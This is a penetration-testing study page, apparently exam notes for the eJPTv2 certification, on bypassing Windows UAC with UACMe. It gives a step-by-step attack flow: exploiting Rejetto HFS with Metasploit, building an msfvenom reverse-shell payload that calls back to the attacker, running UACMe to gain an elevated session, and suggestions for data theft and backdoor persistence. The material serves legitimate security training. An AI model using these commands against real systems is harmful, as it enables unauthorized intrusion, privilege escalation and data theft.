👾
Rootkid - Cyber Journal
Portfolio
  • 👩‍🚀Introduction
    • 🤖About Cyber Journal & Rootkid
    • 📜License Agreement
    • ⚠️Disclaimer
  • 📚Exam Prep Notes
    • 🗒️KLCP Exam (PEN-103) - Notes
      • 1. Linux Fundamentals
      • 2. Introduction
      • 3. About Kali Linux
      • 4. Getting Started with Kali Linux
      • 5. Installing Kali Linux
      • 6. Configuring Kali Linux
      • 7. Helping Yourself and Getting Help
      • 8. Securing and Monitoring Kali Linux
      • 9. Debian Package Management
      • 10. Advanced Usage
      • 11. Kali Linux in the Enterprise
      • 12. Introduction to Security Assessments
      • 13. Conclusion: The Road Ahead
    • 📒ISO/IEC 27001:2022 Lead Auditor - Notes
      • ISO - Training - Day - 1
      • ISO - Training - Day - 2
      • ISO - Training - Day - 3
      • ISO - Training - Day - 4
      • Practice Questions - Notes
      • Other PDF References
    • 📑Junior Penetration Tester (eJPTv2) - Notes
      • 💡Assessment Methodologies
        • 🔍Information Gathering
          • 🌏Passive Information Gathering
          • 🧐Active Information Gathering
        • 👣Footprinting & Scanning
          • 🗺️Mapping a Network
          • 🎛️Port Scanning
        • 🕵️Enumeration
          • 📜SMB Enumeration
          • 📂FTP Enumeration
          • 🐚SSH Enumeration
          • 🕸️HTTP Enumeration
          • 🗄️MySQL & MSSQL Enumeration
        • 🐛Vulnerability Assessment
          • 🩸Case Study: Heartbleed Vulnerability (CVE-2014-0160)
          • 🔵Case Study: EternalBlue Vulnerability (CVE-2017-0143)
          • 👨‍💻Case Study: Log4J Vulnerability (CVE-2021-44228)
      • 🧰Assessment Methodologies: Auditing Fundamentals
      • 📶Host & Network Penetration Testing
        • 💻System/Host Based Attacks
          • 🪟Overview Of Windows Vulnerabilities
          • 💣Exploiting Windows Vulnerabilities
            • 🧨Exploiting Microsoft IIS WebDAV
            • 🧨Exploiting WebDAV With Metasploit
            • 🧨Exploiting SMB With PsExec
            • 🧨Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)
            • 🧨Exploiting RDP - Brute Force
            • 🧨Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)
            • 🧨Exploiting WinRM
          • 📈Windows Privilege Escalation
            • 🔥Windows Kernel Exploits
            • 🔥Bypassing UAC With UACMe
            • 🔥Access Token Impersonation
          • 🗃️Windows File System Vulnerability - Alternate Data Streams
          • 💳Windows Credential Dumping
            • 🔑Searching For Passwords In Windows Configuration Files
            • 🔑Dumping Hashes With Mimikatz
            • 🔑Pass-The-Hash Attacks
          • 💎Linux Vulnerabilities
          • 🎰Exploiting Linux Vulnerabilities
            • 🐚Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)
            • 🗄️Exploiting FTP - Linux
            • 🔐Exploiting SSH - Linux
            • 📭Exploiting SAMBA - Linux
          • ‼️Linux Privilege Escalation
            • 💥Linux Kernel Exploits
            • 💥Exploiting Misconfigured Cron Jobs
            • 💥Exploiting SUID Binaries
          • 🔐Linux Credential Dumping
        • 📶Network-Based Attacks
          • 📦Tshark & Filtering Basics
          • 🕷️Arp Poisoning
        • 💣The Metasploit Framework (MSF)
        • 💥Exploitation
          • 🖲️Vulnerability Scanning
          • ⚠️Searching For Exploits
          • 🐚Bind & Reverse Shells
          • 👾Exploitation Frameworks
          • 🪟Windows Exploitation
          • 🥌Linux Exploitation
          • ☣️AV Evasion & Obfuscation
        • 🚩Post-Exploitation
          • 🌬️Windows Local Enumeration
          • 📟Linux Local Enumeration
          • 🚜Transferring Files To Windows & Linux Targets
          • 🔼Upgrading Shells
          • 👀Windows Privilege Escalation
          • ⚒️Linux Privilege Escalation
          • 🔮Windows Persistence
          • 🧙Linux Persistence
          • 〰️Dumping & Cracking Windows Hashes (NTLM Hashes)
          • 🍘Dumping & Cracking Linux Password Hashes
          • ➿Pivoting Overview
          • 🧹Clearing Your Tracks On Windows & Linux
        • 🧑‍🔬Social Engineering Fundamentals
      • 🕸️Web Application Penetration Testing
        • ℹ️Intro to Web
        • 🎯Directory Enumeration
        • 🧰BurpSuite and ZAP-Proxy Overview
        • 🛠️Nikto, SQLMap, XSSer & Hydra Overview
      • 👽Extra Resources
        • ➕CIDR Conversion Table
        • 📦Machines or Lab Solved to Practice
    • 📓Certified in Cybersecurity - (ISC)2 - Notes
      • 📝Chapter-1 Security Controls - Notes
      • 📝Chapter-2 Incident Response, Business Continuity & Disaster Recovery - Notes
      • 📝Chapter 3: Access Control Concepts - Notes
      • 📝Chapter 4: Network Security - Notes
      • 📝Chapter 5: Security Operations - Notes
    • 📕Certified Ethical Hacker v12 - Practical - Notes
      • 👣Module 02: Footprinting and Reconnaissance
      • 🔎Module 03: Enumeration
      • Module 04: Scanning Networks
      • Module 05: Vulnerability Analysis
      • 💻Module 06: System Hacking
      • 🐛Module 07: Malware Threats
      • 🧙Module 08: Sniffing
      • 🐧Module 09: Social Engineering
      • ⚠️Module 10: Denial-of-Service
      • 🪝Module 11: Session Hijacking
      • Module 12: Evading IDS, Firewalls, and Honeypots
      • 🗄️Module 13: Hacking Web Servers
      • Module 14: Hacking Web Applications
      • 💉Module 15: SQL Injection
      • Module 16: Hacking Wireless Networks
      • Module 17: Hacking Mobile Platforms
      • Module 18: IoT and OT Hacking
      • Module 19: Cloud Computing
      • Module 20: Cryptography
      • Extra Resources
        • 📚Helpful Resources
        • 📜Cheat Sheet
  • ✍️Blogs
    • Mastering the Art of Logic Flaws: Unraveling Cyber Mysteries !!!
    • How to write a Detailed Vulnerability Report
    • Payment Gateway Bypass on Government Domain.
Powered by GitBook
On this page
  • UAC (User Account Control)
  • Bypassing UAC
  • Bypassing UAC With UACMe
  • Attack Flow: Exploiting Rejetto and UAC Bypass for Privilege Escalation
  • 1. Exploit the Vulnerable Rejetto Version
  • 2. Transition to a 64-bit (x64) Shell
  • 3. Bypass UAC to Gain Administrative Privileges
  • 4. Verify Administrative Privileges
  • 5. Further Actions After Privilege Escalation

Was this helpful?

  1. Exam Prep Notes
  2. Junior Penetration Tester (eJPTv2) - Notes
  3. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Windows Privilege Escalation

Bypassing UAC With UACMe

PreviousWindows Kernel ExploitsNextAccess Token Impersonation

Last updated 10 months ago

Was this helpful?

UAC (User Account Control)

  • User Account Control (UAC) is a Windows security feature introduced in Windows Vista that is used to prevent unauthorized changes from being made to the operating system.

  • UAC is used to ensure that changes to the operating system require approval from the administrator or a user account that is part of the local administrators group.

  • A non-privileged user attempting to execute a program with elevated privileges will be prompted with the UAC credential prompt, whereas a privileged user will be prompted with a consent prompt.

  • Attacks can bypass UAC in order to execute malicious executables with elevated privileges.

Bypassing UAC

  • In order to successfully bypass UAC, we will need to have access to a user account that is a part of the local administrators group on the Windows target system.

  • UAC allows a program to be executed with administrative privileges, consequently prompting the user for confirmation.

  • UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation.

  • There are multiple tools and techniques that can be used to bypass UAC, however, the tool and technique used will depend on the version of Windows running on the target system.

Bypassing UAC With UACMe

  • UACMe is an open source, robust privilege escalation tool developed by @hfire0x. It can be used to bypass Windows UAC by leveraging various techniques.

  • The UACME GitHub repository contains a very well documented list of methods that can be used to bypass UAC on multiple versions of Windows ranging from Windows 7 to Windows 10.

  • It allows attackers to execute malicious payloads on a Windows target with administrative/elevated privileges by abusing the inbuilt Windows AutoElevate tool.

  • The UACMe GitHub repository has more than 60 exploits that can be used to bypass UAC depending on the version of Windows running on the target.

Attack Flow: Exploiting Rejetto and UAC Bypass for Privilege Escalation

1. Exploit the Vulnerable Rejetto Version

  • Identify Vulnerable Rejetto Version: Confirm that the target server is running a vulnerable version of Rejetto (HTTP File Server).

  • Exploit Using Metasploit:

    • Module: exploit/windows/http/rejetto_hfs_exec

    • Commands:

      use exploit/windows/http/rejetto_hfs_exec
      set RHOSTS <target-ip>
      set LHOST <your-ip>
      set LPORT <your-port>
      exploit
  • Outcome: Obtain a Meterpreter shell in a 32-bit (x86) environment.

2. Transition to a 64-bit (x64) Shell

  • Identify the "explorer" Process ID:

    • Command:

      ps
    • Find Process ID: Look for the explorer.exe process, which is usually a 64-bit process.

  • Migrate to a 64-bit Process:

    • Command:

      migrate <PID-of-explorer>
  • Outcome: Transition from a 32-bit (x86) Meterpreter shell to a 64-bit (x64) Meterpreter shell.

3. Bypass UAC to Gain Administrative Privileges

After successfully exploiting the Rejetto vulnerability and obtaining a Meterpreter shell, you might encounter a User Account Control (UAC) prompt when trying to execute administrative commands. To bypass this prompt and elevate your privileges, follow these detailed steps:

3.1 Prepare UAC Bypass Tools

  • Download UACMe Tool:

    • Purpose: This tool helps bypass the UAC prompt by leveraging specific Windows features and settings.

  • Create Shell Code:

    • Definition: Shell code is a piece of code that performs specific actions on the target system. In this case, you will use a Meterpreter shell code that opens a connection back to your listener with elevated privileges.

    • Shell Code: This is a payload that you will upload to the target system and execute to establish a new Meterpreter session with administrative rights.

    Example:

    • Shell Code Generation:

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<your-ip> LPORT=<your-port> -f exe > shellcode.exe
  • Upload UACMe and Shell Code to Target System:

    • Commands:

      upload <path-to-UACMe>
      upload <path-to-shell-code>

3.2 Execute UACMe to Bypass UAC

  • Navigate to UACMe Directory:

    • Command:

      cd <directory-containing-UACMe>
  • Run UACMe to Perform UAC Bypass:

    • Command:

      .\<UACMe-executable> <path-to-shell-code>

    Explanation:

    • UACMe uses the shell code you provided to execute a new Meterpreter session as an administrator, bypassing the UAC prompt.

    • The <UACMe-executable> is the actual executable file from the UACMe tool.

    • <path-to-shell-code> is the path where you uploaded your generated Meterpreter shell code.

  • Outcome: This step will establish a new Meterpreter session with administrative privileges.

4. Verify Administrative Privileges

After successfully bypassing UAC and obtaining a new Meterpreter session with higher privileges:

  • Check for Elevated Privileges:

    • Command:

      whoami /priv

    Explanation:

    • This command lists the privileges of the current user. If the UAC bypass was successful, you should see administrative privileges in the output.

5. Further Actions After Privilege Escalation

With administrative privileges, you can perform a variety of post-exploitation tasks:

  • Upload and Execute Additional Exploits:

    • Commands:

      upload <path-to-additional-exploits>
      execute -f <exploit-file>
  • Potential Actions:

    • Network Reconnaissance: Scan the network for other vulnerable systems or information.

    • Access Sensitive Data: Retrieve important files or data from the target system.

    • Persistence: Set up mechanisms to maintain access, such as creating new user accounts or installing backdoors.




Hacker's Mantra:As economic life relies more and more on the Internet, the potential for small bands of hackers to launch devastating attacks on the world economy is growing.” ― Evgeny Morozov

GitHub:

Tool:

📚
📑
📶
💻
📈
🔥
https://github.com/hfiref0x/UACME
UACMe
UAC (User Account Control)